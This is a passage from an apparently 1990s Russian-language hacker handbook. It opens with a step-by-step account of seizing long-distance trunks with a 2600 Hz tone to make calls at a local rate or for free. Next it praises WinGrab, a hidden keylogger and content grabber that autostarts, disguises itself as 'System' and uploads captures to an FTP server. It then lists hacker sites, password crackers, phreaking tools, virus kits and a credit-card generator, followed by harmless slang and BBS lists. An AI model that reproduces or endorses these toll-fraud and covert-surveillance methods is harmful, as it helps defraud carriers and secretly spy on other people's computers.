т.п.,  которая не  может передавать  постоянный  ток. Однако станции  как-то
должны сигнализировать о своем состоянии друг-другу. Для этой цели применяют
различные  системы  сигнализации. Для  двухпроводной  линии наиболее удобной
оказалась частотная сигнализация в полосе частот телефонного канала  (300 --
3500 Hz), которую пропускает оборудование усиления и уплотнения.
     Узлы соединены между собой некоторым количеством соединительных линий.
     Чтобы обозначить, что узел не занимает линию,  он  подает  в нее сигнал
частотой 2600 Hz.  На  свободной линии этот сигнал  идет с обеих сторон  (от
обоих  узлов). Когда узел хочет связаться с  другим узлом, он должен выбрать
свободную линию. Для этого  оборудование просматривает по  очереди все линии
на  наличие сигнала 2600 Hz, поступающего с удаленного узла. Наличие сигнала
означает, что линия свободна, и узел подключается к ней. При этом он снимает
сигнал 2600 Нz со своей стороны, что означает, что линия им занята.
     С  удаленного узла сигнал 2600  Hz все  еще поступает  в линию.  Вы  не
слышите   его,  так  как   на  его   пути  установлен  узкополосный  фильтр,
"вырезающий"   этот   тон.  2600  будет  подаваться  удаленным  узлом,  пока
вызываемый абонент не  снимет трубку. Наш узел опознает пропадание сигнала с
удаленного  узла,   как  признак  того,  что  разговор  начат,  и   начинает
накручивать за  него  бабки. По окончании разговора узел, чей абонент вешает
трубку, опять подает в линию сигнал  2600  Нz, означающий,  что  данный узел
прекратил разговор и освободил линию. Так работает эта система сигнализации.
     Теперь  предположим, что вы звоните другу в другой город  N.  Набираете
его номер.  Ваш междугородний узел ищет свободную связную линию, на  которую
из N подается 2600 Hz. Найдя такую линию, он  соединяет вас  с ней и убирает
со своей стороны  сигнал  2600 Hz.  Узел  города  N понимает это как  запрос
начать связь. Далее ваш узел передает узлу города N номер вашего друга, и вы
наконец  слышите гудки вызова. У друга звонит телефон. Все это время 2600 из
города N поступает на ваш узел, поэтому он не  начисляет пока деньги. Теперь
предположим, что  мы сами  подали  в линию  сигнал 2600  Hz. Узел  города  N
"слышит"  этот  тон  и  думает, что  вы у себя  повесили трубку, и  ваш узел
освободил   линию.   Соответсвенно  он  прекращает  вызывать  вашего  друга,
сбрасывает и  готовит оборудование  к  новым вызовам (это занимает не  более
секунды). Теперь вы перестаете подавать тон  2600  Hz. Узел города N думает,
что  с вашего  узла пришел новый запрос  на  связь, и готов  принимать номер
абонента. При этом,  благодаря звездообразной  структуре сети, узел города N
может  связываться с  другими городами  и  странами,  если  набираемый номер
содержит код страны и/или города.
     Таким  образом,  позвонив  сначала  в  соседний город  N  и  перехватив
управление  сетью,  вы  можете звонить в любое место,  куда сможет "звонить"
узел  города N.  При  этом ваш узел зарегистрирует только звонок в город N и
ничего  не  будет знать  о дальнейших  ваших  действиях. Значит,  по  тарифу
соседнего городка вы можете  звонить практически в  любую стану мира. Звонок
может быть и вообще бесплатным, если вы сначала набираете номер какой-нибудь
всероссийской бесплатной службы.
     <b>Съемщик паролей Wingrab</b>
     Весьма интересная  хакерская программа WinGrab  предназначена для съема
всякой разной  информации  с  компьютеров, работающих  под  Windows  95  или
Windows  NT.  Эта  программа  позволяет  отслеживать  содержимое Windows  по
горячим словам, а также клавиатурный ввод. Информация собирается в локальном
файле или может быть передана через Internet на указанный FTP-сервер.
     Последняя версия WinGrab поддерживает только одно добавочное  слово, но
грамотное  его  применение  помогает  значительно увеличить  круг  снимаемой
информации (например добавочное слово "Subject:" скорее всего позволит иметь
всю переписку донора  без заглядывания на его почтовый сервер).  Аналогичное
применение может найти и кракозябла @.
     Способ запуска WinGrab на компьютере-доноре --  установка  программы  с
дискеты. Программа  принципиально не сделана  ни в виде трояняца, ни  в виде
вируса,  по  разным  соображениям.  Однако  установка  программы  с  дискеты
оптимизирована  таким  образом,  что  занимает всего от 10  до  35  секунд в
зависимости от наличия на доноре необходимых библиотек.
     Будучи единожды  установлена,  программа  запускается  каждый  раз  при
старте операционной системы и выглядит  в списке задач как  System.  Попытки
снять  задачу  System,   естественно,   безуспешны,  что  вводит  неопытного
пользователя в благое заблуждение.
     <b>Пример файла ../etc/passwd</b>
     root:*:0:0:Charlie &:/root:/bin/csh
     toor:*:0:0:Bourne-again Superuser:/root:
     daemon:*:1:1:Owner of many system processes:/root:/nonexistent
     operator:*:2:20:System &:/usr/guest/operator:/bin/csh
     bin:*:3:7:Binaries Commands and Source,,,:/:/nonexistent
     games:*:7:13:Games pseudo-user:/usr/games:/nonexistent
     news:*:8:8:News Subsystem:/:/nonexistent
     man:*:9:9:Mister Man Pages:/usr/share/man:/nonexistent
     uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
     xten:*:67:67:X-10 daemon:/usr/local/xten:/nonexistent
     nobody:*:65534:65534:Unprivileged user:/nonexistent:/nonexistent
     ftp:*:14:14:Anonymous FTP Admin:/usr/ftp:/bin/date
     <b>Хакерские конференции</b>
     Отметим, что источник каждой поступающей статьи регистрируется. Поэтому
нет  никакого смысла уничтожать статьи UUnet. Это  информация для начинающих
хакеров.  А для  более умудренных  опытом  отметим, что не нужно заходить  в
случайные  группы,  метить  статьи и  стирать  сообщения.  Это  невежливо  и
бессмысленно. Зачем пользоваться несовершенными методами работы Usenet?!
     <b>alt.2600.hope.tech</b>
     Хакеры планеты Земля.
     <b>alt.comp.virus</b>
     Споры по вирусам.
     <b>alt.cracks</b>
     Жаркие споры взломщиков сетей.
     <b>alt.cyberpunk</b>
     Узкий круг киберпанков.
     <b>alt.cyberspace</b>
     Киберпространство и как в нем работать.
     <b>alt.dcom.telecom</b>
     Споры относительно телекоммуникаций.
     <b>alt.fan.lewiz</b>
     Фэн-клуб Левиса Де Пайна.
     <b>alt.hackers</b>
     Описание проектов.
     <b>alt.hackers.malicious</b>
     Действительно мерзкие типы.
     <b>alt.privacy.anon-server</b>
     Анонимные атаки на различные сервера.
     <b>alt.radio.pirate</b>
     Скрытые механизмы.
     <b>alt.radio.scanner</b>
     Сканирование радиограмм.
     <b>alt.satellite.tv.europe</b>
     Все относительно европейского телевидения.
     <b>alt.security</b>
     Безопасность компьютерных сетей.
     <b>alt.security.keydist</b>
     Обмен ключами для систем дешифровки.
     <b>alt.security.pgp</b>
     Pretty Good Privacy.
     <b>alt.security.ripem</b>
     Нелегальная почта из США.
     <b>comp.org.cpsr.announce</b>
     Компьютерные профессионалы.
     <b>comp.org.cpsr.talk</b>
     Самиздатовские компьютерные издания.
     <b>comp.org.eff.news</b>
     Новости от Electronic Frontiers Foundation.
     <b>comp.protocols.tcp-ip</b>
     Протоколы TCP и IP.
     <b>comp.risks</b>
     Публикации и риск.
     <b>comp.security.announce</b>
     Анонсы от CERT относительно безопасности.
     <b>comp.security.misc</b>
     Безопасность сетей и компьютеров.
     <b>comp.security.unix</b>
     Дискусcии по защите великой и могучей UNIX.
     <b>comp.virus</b>
     Компьютерные вирусы и безопасность.
     <b>rec.video.cable-tv</b>
     Кабельное телевидение.
     <b>sci.crypt.</b>
     Различные методы шифровки/дешифровки.
     <b>Хакерские сайты WWW</b>
     http://www.outerlimits.net/lordsome/index.html
     http://web2.airmail.net/km/hfiles/free.htm
     http://resudox.net/bio/novell.html
     http://www.louisville.edu/wrbake01/hack2.html
     http://www.intersurf.com/~materva/files.html
     http://hightop.nrl.navy.mil/rainbow.html
     http://www.rit.edu/~jmb8902/hacking.html
     http://www.spatz.com/pecos/index.html
     http://pages.prodigy.com/FL/dtgz94a/files2.html
     http://www.2600.com
     http://att.net/dir800
     http://draco.centerline.com:8080/~franl/crypto.html
     http://everest.cs.ucdavis.edu/Security.html
     http://ice-www.larc.nasa.gov/WWW/security.html
     http://lOpht.com
     http://lOpht.com/~oblivion/IIRG.html
     http://underground.org
     http://www.alw.nih.gov/WWW/security.html
     http://www.aspentec.com/~frzmtdb/fun/hacker.html
     http://www.etext.org/Zines
     http://www.inderect.com/www/johnk/
     http://www.mgmua.com/hackers/index.html
     http://www.paranoia.com/mthreat
     http://www.paranoia.com/astrostar/fringe.html
     http://www.umcc.umich.edu/~doug/virus-faq.html
     http://www.wired.com
     http://all.net:8080
     http://alumni.caltech.edu/~dank/isdn
     http://aset.rsoc.rockwell.com
     http://aset.rsoc.rockwell.com/exhibit.html
     http://att.net/dir800
     http://ausg.dartmouth.edu/security.html
     http://csbh.mhv.net/dcypher/home.html
     http://cs.purdue.edu/coast/coast.html
     http://csrc.ncsl.nist.gov
     http://daemon.apana.org.au/~longi
     http://dhp.com/~pluvius
     http://everest.cs.ucdavis.edu/Security.html
     http://everest.cs.ucdavis.edu/slides/slides.html
     http://ftp.tamu.edu/~abr8030/security.html
     http://hightop.nrl.navy.mil/potpourri.html
     http://hightop.nrl.navy.mil/rainbow.html
     http://info.bellcore.com/BETSI/betsi.html
     http://infosec.nosc.mil/infosec.html
     http://l0pht.com
     http://l0pht.com/~oblivion/IIRG.html
     http://matrix.resnet.upenn.edu/rourke
     http://mindlink.jolt.com
     http://mls.saic.com
     http://motserv.indirect.com
     http://naic.nasa.gov/fbi/FBI_homepage.html
     http://nasirc.hq.nasa.gov
     http://obscura.com/~loki/
     http://ophie.hughes.american.edu/~ophie
     http://oregano.sl.pitt.edu/index.htm
     http://pages.ripco.com:8080/~glr/glr.html
     http://the-tech.mit.edu
     http://ucs.orst.edu:8001/mintro.html
     http://underground.org
     http://unixg.ubc.ca:780/~jyee
     http://w3.gti.net/safety
     http://wintermute.itd.nrl.navy.mil/5544.html
     http://wiz.plymouth.edu/~jay/underground.html
     http://www.2600.com
     http://www.8lgm.org
     http://www.aads.net
     http://www.alw.nih.gov/WWW/security.html
     http://www.aus.xanadu.com:70/1/EFA
     http://www.ba.com
     http://www.bell.com
     http://www.brad.ac.uk/~nasmith/index.html
     http://www.bst.bls.com
     http://www.c3.lanl.gov/~mcn
     http://www.cam.org/~gagnon
     http://www.cert.dfn.de
     http://www.cpsr.org/home
     http://www.cs.umd.edu/~lgas
     http://www.csd.harris.com/secure_info.html
     http://www.csl.sri.com
     http://www.datafellows.fi
     http://www.dct.ac.uk/~misb3cp/2600/faq.txt
     http://www.digicash.com/ecash/ecash-home.html
     http://www.dnai.com/~gui/index.html
     http://www.eecs.nwu.edu/~jmyers/ids/index.html
     http://www.eff.org/papers.html
     http://www.emap.co.uk/partners/racal-airtech
     http://www.ensta.fr/internet/unix/sys_admin
     http://www.etext.org/Zines
     http://www.fc.net/defcon
     http://www.fedworld.gov
     http://www.first.org/first
     http://www.gbnet.net/kbridge
     http://www.ic.gov
     http://www.io.org/~excels
     http://www.indirect.com/www/johnk
     http://www.magi.com/~vektor/linenoiz.html
     http://www.mcs.com/~candyman/under.html
     http://www.mpr.ca
     http://www.net23.com
     http://www.netresponse.com:80/zldf
     http://www.nist.gov
     http://www.ntt.jp
     http://www.pacbell.com
     http://www.paranoia.com/astrostar/fringe.html
     http://www.paranoia.com/mthreat
     http://www.planet.net/onkeld
     http://www.primenet.com/~insphrk
     http://www.primenet.com/~kludge/haqr.html
     http://www.qualcomm.com/cdma/wireless.html
     http://www.raptor.com/raptor/raptor.html
     http://www.research.att.com
     http://www.rsa.com
     http://www.satelnet.org/~ccappuc
     http://www.seas.upenn.edu/~rourkem
     http://www.service.com/cm/uswest/usw1.html
     http://www.shore.net/~oz/welcome.html
     http://www.spatz.com/pecos/index.html
     http://www.spy.org
     http://www.sri.com
     <b>Хакерские сайты FTP</b>
     ftp.3com.com /pub/Orange-Book
     ftp.acns.nwu.edu /pub
     ftp.alantec.com /pub/tcpr
     ftp.armory.com /pub/user/kmartind
     ftp.armory.com /pub/user/swallow
     ftp.auscert.org.au /pub
     ftp.cs.ruu.nl /pub/SECURITY
     ftp.cs.uwm.edu /pub/comp-privacy
     ftp.csi.forth.gr /pub/security
     ftp.csl.sri.com /pub/nides
     ftp.csn.org /mpj
     ftp.digex.net /pub/access/dunk
     ftp.eff.org /pub/Publications/CuD
     ftp.fc.net /pub/deadkat
     ftp.fc.net /pub/defcon
     ftp.fc.net /pub/defcon/BBEEP
     ftp.fc.net /pub/phrack
     ftp.funet.fi /pub/doc/CuD
     ftp.gate.net /pub/users/laura
     ftp.gate.net /pub/users/wakko
     ftp.giga.or.at /pub/hacker
     ftp.greatcircle.com /pub/firewalls
     ftp.IEunet.ie /pub/security
     ftp.inoc.dl.nec.com /pub/security
     ftp.io.org /pub/users/gmouser
     ftp.lava.net /users/oracle/
     ftp.lerc.nasa.gov /security
     ftp.llnl.gov /pub
     ftp.luth.se /pub/unix/security
     ftp.mcs.anl.gov /pub/security
     ftp.microserve.net /ppp-pop/strata/mac
     ftp.near.net /security/archives/phrack
     ftp.netcom.com /pub/br/bradleym
     ftp.netcom.com /pub/da/daemon9
     ftp.netcom.com /pub/fi/filbert
     ftp.netcom.com /pub/le/lewiz
     ftp.netcom.com /pub/va/vandal
     ftp.netcom.com /pub/wt/wtech
     ftp.netcom.com /pub/zz/zzyzx
     ftp.ocs.mq.edu.au /PC/Crypt
     ftp.ox.ac.uk /pub/comp/security
     ftp.ox.ac.uk /pub/crypto
     ftp.ox.ac.uk /pub/wordlists
     ftp.paranoia.com /pub/toneloc
     ftp.primenet.com /users/i/insphrk
     ftp.primenet.com /users/k/kludge
     ftp.primenet.com /users/s/scuzzy
     <b>Лучший хакерский софт
     CHEAT ENGiNE 2.5</b>
     Простая программа для взлома игр. Создает классные и быстрые патчи.
     <b>Cheat Machine 2.02</b>
     Программа  для легкого прохождения игр. Поддержка  около  300 известных
игр. Солюшены, тактика, коды, патчи, утилиты.
     <b>CrackAid 3.39</b>
     Снятие защиты с игр.
     <b>Crack Master 2.5</b>
     Взлом защит присоединительного типа с наиболее популярных игр.
     <b>Neverlock Spring 95</b>
     Взлом защиты с более 400 игр.
     <b>The PATCHER 6.5</b>
     Снятие защиты от копирования с более, чем 100 известных игрушек.
     <b>Unlimited Cheats 3.0</b>
     Обман лучших игр мира. Великолепный интерфейс. Работа с мышью.
     <B>BRUTE 2.0</B>
     Инструментарий для взлома паролей UNIX.
     <b>Claymore 1.0</b>
     Инструментарий  для  взлома  паролей  системы  Microsoft   Windows.  По
большому счету эта весьма удобная  программа позволяет взломать  практически
любой пароль. Требует наличия стандартной библиотеки VBRUN300.DLL
     <b>Cracker Jack 1.4</b>
     Инструментарий для взлома паролей системы UNIX.
     <b>Glide</b>
     Знаменитый софт для взлома PWL-файлов системы Microsoft Windows.
     <B>GUESS 2.1</B>
     Еще  один  инструментарий  для взлома паролей  системы UNIX.  Позволяет
подключить словарь.
     <b>Hades 1.0</b>
     Сканирование и расшифровка паролей.
     <b>Killer Cracker 9.5</b>
     Простой взломщик паролей для MS DOS.
     <B>NEWHACK 2.0</B>
     Софт, позволяющий обновлять файл паролей.
     <B>PCUPC 2.01</B>
     Инструментарий для взлома паролей системы UNIX.
     <B>XIT 2.0</B>
     Инструментарий для взлома паролей системы UNIX.
     <b>CRACKer for ZIP-files 2.0</b>
     Взломщик паролей в ZIP-файлах.
     <b>Fast ZIP Cracker 1.4</b>
     Взломщик паролей в ZIP-файлах. Использует словарь Brute Force.
     <b>MS CD-Key Generator 95</b>
     Создание регистрационных ключей для Microsoft Office и Windows 95.
     <b>Nagbuster 1.2d</b>
     Полностью автоматическая  программа,  которая  удаляет  регистрационный
мусор из многих shareware-программ.
     <B>NONAG2</B>
     Изящная  программка, которая  удаляет регистрационный  мусор  из многих
shareware-программ.
     <b>Word Password Cracker</b>
     Взлом паролей в документах Microsoft Word for Windows.
     <b>Windows Screen Saver Cracker</b>
     Взломщик запароллированных экранных заставок.
     <b>ZipCrack 1.0</b>
     Простой взломщик паролей в ZIP-файлах.
     <b>HEdit32 1.2</b>
     Редактор  двоичных  файлов.  Неограниченный   размер  файла,  поддержка
механизма drag-and-drop, поиск текста, выборка шрифтов, поддержка clipboard.
     <b>Global Security 32-Bit 1.0</b>
     Программа,  обеспечивающая  безопасность  передаваемых   данных.  Более
крутая, чем знаменитая PGP.
     <b>Hide and Seek 4.1</b>
     Скрывает данные в файлах GIF.
     <b>ParadoX 1.01</b>
     Программа для шифрования файлов данных.
     <b>Puffer 2.0</b>
     Программа для шифрования файлов данных и сообщений электронной почты.
     <B>KOH</B>
     Disk  Encryption System.  Защита жесткого диска  и  флоппов посредством
технологии шифрования IDEA на основе 156-битового ключа.
     <b>Steganos 1.4</b>
     Очень  удобная  программа,  позволяющая  спрятать  файл в другой  файл.
Поддержка  форматов  BMP,  VOC, WAV и  ASCII, включая  длинные имена  файлов
системы Windows 95.
     <b>S-Tools 4.0</b>
     Маскировка данных в звуковых или графических файлах.
     <b>Private Idaho</b>
     Шифровка любых сообщений электронной почты.
     <b>Speak Freely</b>
     Софт, позволяющий зашифровать компьютер, используя человеческий голос.
     <b>Apex 1.00</b>
     Основная  программа,  позволяющая   создавать  фиктивный  доступ  через
простой набор телефонного номера.
     <b>BlueBEEP!</b>
     Лучшая тоновая звонилка.
     <b>CyberPHREAK 1.0</b>
     Звонилка, работающая  в фоновом режиме.  Поддержка  наиболее популярных
звуковых карт.
     <b>Fear's Phreaker Tools 2.3</b>
     Фрикерская утилита для тонов Red Box Tones. Работает в Windows.
     <b>Phone Tag 1.3</b>
     Тоновая звонилка для Windows.
     <b>PhreakMaster 1.0</b>
     Удобная звонилка.
     <b>ToneLoc 1.10</b>
     Удобный   DOS-терминал,   позволяющий   весьма   эффективно   атаковать
компьютерные сети.
     <b>ToneLoc Utilities</b>
     Утилиты к ToneLoc.
     Простейший   терминал,   позволяющий   весьма    эффективно   атаковать
компьютерные сети.
     <b>Z-Hacker 3.21</b>
     Великолепная фрикерская программа.
     <b>Bomb 2.0</b>
     Софт, позволяющий весьма эффективно посылать в сеть фальшивые сообщения
электронной почты.
     <b>CreditMaster 4.0</b>
     Генерация фальшивого эккаунта для кредитной карточки.
     <b>FakeCD 1.0</b>
     Иммитация  устройства CD ROM  посредством создания отдельной директории
на жестком диске.
     <b>IP-Scan 1.02</b>
     Исходник на C для сканирования адресов IP.
     <b>KeyLogger 95</b>
     Программа,  позволяющая  записывать  в  отдельный  файл  любые  нажатия
клавиатуры.
     <b>KeyTrap 3.0</b>
     Очень  эффективная программа,  позволяющая записывать в отдельный  файл
любые нажатия клавиатуры.
     <b>No Where Utilities 2.0</b>
     Тринадцать хакерских утилит.
     <b>News You Can Use 6.0</b>
     Одно из лучших электронных изданий хакерских советов и рекомендаций.
     <b>The Pirates Friend 2.6</b>
     Коллекция серийных номеров.
     <B>UNP 4.10</B>
     Разархивирование  файлов,  сжатых  программами  DIET,  EXEPACK,  LZEXE,
PKLITE и TASM.EXE
     <B>TLINK.EXE</B>
     Мгновенное производство вирусов.
     <b>Kit 1.0</b>
     Инфицирование  EXE-файлов,  производство  троянских  коней,  шифрование
всего и вся, создание фиктивных ошибок обработки, инфекция файла COMMAND.COM
и многое другое.
     <b>Небольшой список сетевых "улыбок"
     :-)</b>
     Самая обычная хохма.
     <b>;-)</b>
     Хохма с подмигиванием.
     <b>:-(</b>
     Хмурая физиономия.
     <b>:-I</b>
     Никакое выражение лица.
     <b>:-/</b>
     Скептическое выражение.
     <b>:-X</b>
     Молчит.
     <b>:-Q</b>
     Курит.
     <b>:-Р</b>
     Высовывает яык.
     <b>:-{</b>
     Уcатый собеседник.
     <B>B-)</B>
     Ношу очки.
     <b>%-)</b>
     Долго смотрю на этот экpан.
     <b>Список российских DNIC
     2500</b> ROSPAC
     <b>2501</b> POSPRINT
     <b>2502</b> IASNET
     <b>2503</b> MMTEL
     <b>2504</b> INFOTEL
     <b>2506</b> ROSNET
     <b>2508</b> ТРАНСИНФОРМ
     <b>2510</b> SOVAMNET
     <b>2511</b> ЭДИТРАНС
     <b>2512</b> ТЭКОС
     <b>2513</b> PTT-TELEPORT
     <b>Список BBS, работающих чеpез telnet
     ADDICTED chatline</b>
     telnet sun1.gwent.ac.uk 6666
     <b>AIDS Database</b>
     telnet debra.dgbt.doc.ca 3000
     <b>Air Pollution BBS</b>
     telnet ttnbbs.rtpnc.epa.gov
     <b>Amateur Callsign Server</b>
     telnet cs.buffalo.edu 2000
     <b>Archeological Database</b>
     telnet cast.uark.edu (login:nadb)
     <b>Archie ftp directory search</b>
     telnet archie.sura.net (login: qarchie)
     <b>Aviation Weather</b>
     telnet duats.gtefsd.com
     <b>Bible Search</b>
     telnet quake.think.com (login: WAIS)
     <b>Book Stacks Unlimited</b>
     telnet books.com
     <b>Bridge</b>
     telnet 140.117.11.33 (login okbridge)
     <b>CapAccess Network</b>
     telnet cap.gwu.edu
     <b>CASS - Space Studies</b>
     telnet cass.jsc.nasa.gov (login: cass pw: online)
     <b>CD Connection</b>
     telnet cdconnection.com
     <b>Chess</b>
     telnet 128.111.246.2 5000
     <b>CompuServe</b>
     telnet compuserve.com
     <b>Connection music store</b>
     telnet zen.holonet.net (login: cdc)
     <b>Dictionary</b>
     telnet 129.79.254.191 2627
     <b>Diku-MUD</b>
     telnet skypoint.com 4000
     <b>Employment database</b>
     telnet career.com
     <b>Epilepsy Database</b>
     telnet debra.dgbt.doc.ca 3000
     <b>Fedworld BBS</b>
     telnet fedworld.gov
     <b>FIFE Satellite dB</b>
     telnet pldsg3.gsfc.nasa.gov (login: FIFEUSER)
     <b>Free-Net Buffalo</b>
     telnet freenet.buffalo.edu
     <b>Free-Net Cleveland</b>
     telnet freenet-in-a.cwru.edu
     <b>Free-Net Dayton</b>
     telnet 130.108.128.74
     <b>Games</b>
     telnet castor.tat.physik.uni-tuebingen.de
     <b>Geography Server</b>
     telnet martini.eecs.umich.edu 3000
     <b>Gopher Public server</b>
     telnet consultant.micro.umn.edu
     <b>GSA contract info</b>
     telnet netmark.com (login: netmark)
     <b>Land Use maps</b>
     telnet 152.61.192.54
     <b>Law Library</b>
     telnet 137.113.10.35
     <b>MLB Schedules</b>
     telnet culine.colorado.edu 862
     <b>NBA Schedules</b>
     telnet culine.colorado.edu 859
     <b>NBS Time Service</b>
     telnet nessie.cc.wwu.edu (login: LIBS)
     <b>Netline Flagship BBS</b>
     telnet fcsbbs.netline.co.za
     <b>NTIA Information</b>
     telnet ntiabbs.ntia.doc.gov
     <b>Periodic Table</b>
     telnet camms2.caos.kun.nl
     <b>Periodicals Index/reprints</b>
     telnet database.carl.org
     <b>Poetry 17-18C dB</b>
     telnet bcmsv.leeds.ac.uk (login: bcmsv)
     <b>Quotes</b>
     telnet astro.temple.edu 12345
     <b>Shakespeare Database</b>
     telnet library.dartmouth.edu
     <b>Smiley database</b>
     telnet twinbrook.cis.uab.edu 3399
     <b>Spanish-English Dictionary</b>
     telnet gopher.sc.ehu.es 4444
     <b>Stock Market Reports</b>
     telnet 192.160.13.1
     <b>Stock Market Reports</b>
     telnet a2i.rahul.net
     <b>Stock Quotes ($)</b>
     telnet quote.com
     <b>Subway Maps</b>
     telnet metro.jussieu.fr 10000
     <B>SVPAL</B>
     telnet svpal.org
     <b>Tallahasee Free-Net</b>
     telnet freenet.fsu.edu
     <b>Telephone Directories</b>
     telnet dfw.net
     <b>TinyTIM MUD</b>
     telnet yay.tim.org 5440
     <b>TrekMOO MUD</b>
     telnet 192.204.120.2 2499
     <b>TrekMOO MUD</b>
     telnet trekmoo.microserve.com 2499
     <b>TrekMOO MUD+</b>
     telnet 192.204.120.2 2499
     <b>TV & Radio Transcripts</b>
     telnet pac.carl.org
     <b>USA Today</b>
     telnet 129.22.8.51
     <b>USGS Land Info System</b>
     telnet glis.cr.usgs.gov
     <B>WAIS</B>
     telnet quake.think.com (login: wais)
     <b>Список всех книг Rainbow
     Orange 1</b>
     D.O.D. Trusted Computer Systems.
     <b>Green</b>
     D.O.D. Password Management.
     <b>Yellow</b>
     Computer Security Requirements.
     <b>Yellow 2</b>
     Computer Security Requirements.
     <b>Tan</b>
     Understanding Audit In Trusted Systems.
     <b>Bright Blue</b>
     Trusted Product Evaluation.
     <b>Neon Orange</b>
     Understanding Discretionary Access.
     <b>Teal Green</b>
     Glossary Of Computer Terms.
     <b>Orange 2</b>
     Understanding Configurations.
     <b>Red</b>
     Interpretation Of Evaluation.
     <b>Burgundy</b>
     Understanding Design Documentation.
     <b>Dark Lavender</b>
     Understanding Trusted Distrobution.
     <b>Venice Blue</b>
     Computer Security Sub-Systems.
     <b>Aqua</b>
     Understanding Security Modeling.
     <b>Dark Red</b>
     Interpretations Of Environments.
     <b>Pink</b>
     Rating Maintenence Phase.
     <b>Purple</b>
     Formal Verification Systems.
     <b>Brown</b>
     Understanding Trusted Facilities.
     <b>Yellow-Green</b>
     Writing Trusted Facility Manuals.
     <b>Light Blue</b>
     Understanding Identification And Authentication
     In Trusted Systems.
     <b>Blue</b>
     Product Evaluation Questionaire.
     <b>Gray</b>
     Selecting Access Control List.
     <b>Lavander</b>
     Data Base Management Interpretation.
     <b>Yellow 3</b>
     Understanding Trusted Recovery.
     <b>Bright Orange</b>
     Understanding Security Testing.
     <b>Purple 1</b>
     Guide To System Procurement.
     <b>Purple 2</b>
     Guide To System Procurement.
     <b>Purple 3</b>
     Guide To System Procurement.
     <b>Purple 4</b>
     Guide To System Procurement.
     <b>Green</b>
     Understanding Data Remanence
     <b>Hot Peach</b>
     Writing Security Features.
     <b>Turquiose</b>
     Understanding Information Security.
     <b>Violet</b>
     Controlled Access Protection.
     <b>Light Pink</b>
     Understanding Covert Channels.
     <b>Хакерские акронимы
     ACL</b>
     Access Control List
     <B>AN</B>
     Associated Number
     <B>ARSB</B>
     Automated Repair Service Bureau
     <B>ATH</B>
     Abbreviated Trouble History
     <B>BOC</B>
     Bell Operating Company
     <B>BOR</B>
     Basic Output Report
     <B>BOSS</B>
     Business Office Servicing System
     <B>CA</B>
     Cable
     <B>COE</B>
     Central Office Equipment
     <B>CMC</B>
     Construction Maintenance Center
     <B>CNID</B>
     Calling Number IDentification
     <B>CO</B>
     Central Office
     <B>DDD</B>
     Direct Distance Dialing
     <B>ECC</B>
     Enter Cable Change
     <B>LD</B>
     Long Distance
     <B>LMOS</B>
     Loop Maintenance Operations System
     <B>MLT</B>
     Mechanized Loop Testing
     <B>NPA</B>
     Numbering Plan Area
     <B>POTS</B>
     Plain Old Telephone Service
     <B>RBOC</B>
     Regional Bell Operating Company
     <B>RSB</B>
     Repair Service Bureau
     <B>SS</B>
     Special Service
     <B>TAS</B>
     Telephone Answering Service
     <B>TH</B>
     Trouble History
     <B>TREAT</B>
     Trouble Report Evaluation and Analysis Tool
     <B>LOD</B>
     Legion of Doom
     <B>HFC</B>
     Hell Fire Club
     <B>TNO</B>
     The New Order
     <b>ACiD</b>
     Ansi Creators in Demand
     <b>Cci</b>
     Cybercrime International
     <B>FLT</B>
     Fairlight
     <b>iCE</b>
     Insane Creators Enterprise
     <b>iNC</b>
     International Network of Crackers
     <B>NTA</B>
     The Nocturnal Trading Alliance
     <B>PDX</B>
     Paradox
     <B>PE</B>
     Public Enemy
     <B>PSY</B>
     Psychose
     <B>QTX</B>
     Quartex
     <B>RZR</B>
     Razor (1911)
     <B>S!P</B>
     Supr!se Productions
     <B>TDT</B>
     The Dream Team
     <B>THG</B>
     The Humble Guys
     <B>THP</B>
     The Hill People
     <B>TRSI</B>
     Tristar Red Sector Inc.
     <B>UUDW</B>
     Union of United Death Workers
     <b>Словарь юного хакера
     Бит</b>
     Минимальная единица измерения информации (0 или 1).
     <b>Полубайт</b>
     4 бита.
     <b>Байт</b>
     Тоже, что и бит, только в 8 раз больше.
     <b>Кило</b>
     Тоже, что и байт, только в 1024 раза больше.
     <b>Мег</b>
     Тоже, что и кило, только в 1024 раза больше.
     <b>Гиг</b>
     Тоже, что и мег, только в 1024 раза больше.
     <b>Хакер</b>
     Человек, не мыслящий себя без компьютера.
     <b>Мозги</b>
     Оперативная память компьютера. Измеряется в кило/мегабайтах.
     <b>Линейка</b>
     Набор микросхем в количестве восьми штук.
     <b>Каша</b>
     Cach-память.
     <b>Железо</b>
     Hardware.
     <b>Бебеска</b>
     Bulleten Board System.
     <b>Винт</b>
     Винчестер. Жесткий диск. Носитель информации.
     <b>Матрас</b>
     Винчестер фирмы MAXTOR.
     <b>Трехдюймовка и пятидюймовка</b>
     Гибкий магнитный диск размером в 3 и 5 дюймов соответственно.
     <b>Флоппер</b>
     Устройство для считывания информации с гибких дисков.
     <b>Комп</b>
     Персональный компьютер.
     <b>Клава</b>
     Клавиатура. Клацнуть педалью, топтать кнопку, нажать на клавишу.
     <b>Прогсы</b>
     Компьютерные программы.
     <b>Закинуть на диск</b>
     Записать информацию на магнитный носитель.
     <b>Коробок</b>
     Корпус компьютера.
     <b>Гама</b>
     Игра.
     <b>Крэкнуть, ломануть, хакнуть, взорвать гаму</b>
     Вскрыть игру и изменить в ней данные по своему усмотрению.
     <b>Крякалка</b>
     Программа для вскрытия программ.
     <b>Бластер, Либа, Гусь</b>
     Типы музыкальных адаптеров.
     <b>Бима</b>
     Народное название компьютера фирмы IBM.
     <b>Мак</b>
     Народное название компьютера фирмы Apple Macintosh.
     <b>Двойка, тройка, четверка</b>
     Первые цифры моделей персональных компьютеров фирмы IBM.
     <b>Хата</b>
     Компьютер фирмы IBM класса XT.
     <b>Пентюх</b>
     Компьютер IBM Pentium.
     <b>Вирусяка</b>
     Компьютерный вирус.
     <b>Чайник</b>
     Человек, не смыслящий почти ничего в компьютерных технологиях.
     <b>Бипер, спикер, бжичек</b>
     Встроеный динамик.
     <b>Штампик, дрюкер, печаталка</b>
     Принтер.
     <b>Отштамповать текст</b>
     Отпечатать текст на принтере.
     <b>Микрохи</b>
     Микросхемы.
     <b>Битые микрохи</b>
     Негодные сожженые микросхемы.
     <b>Видеокарта, вика</b>
     Плата видеоадаптера.
     <b>Плитка</b>
     Карта.
     <b>Дипик</b>
     DIP-переключатель  (на  задних  панелях  принтеров,  видеомагнитофонов,
видеокарт и т.д.).
     <b>Набить, настукать текст</b>
     Набрать текстовый файл
     <b>Цапик</b>
     Цифровой аналоговый преобразователь.
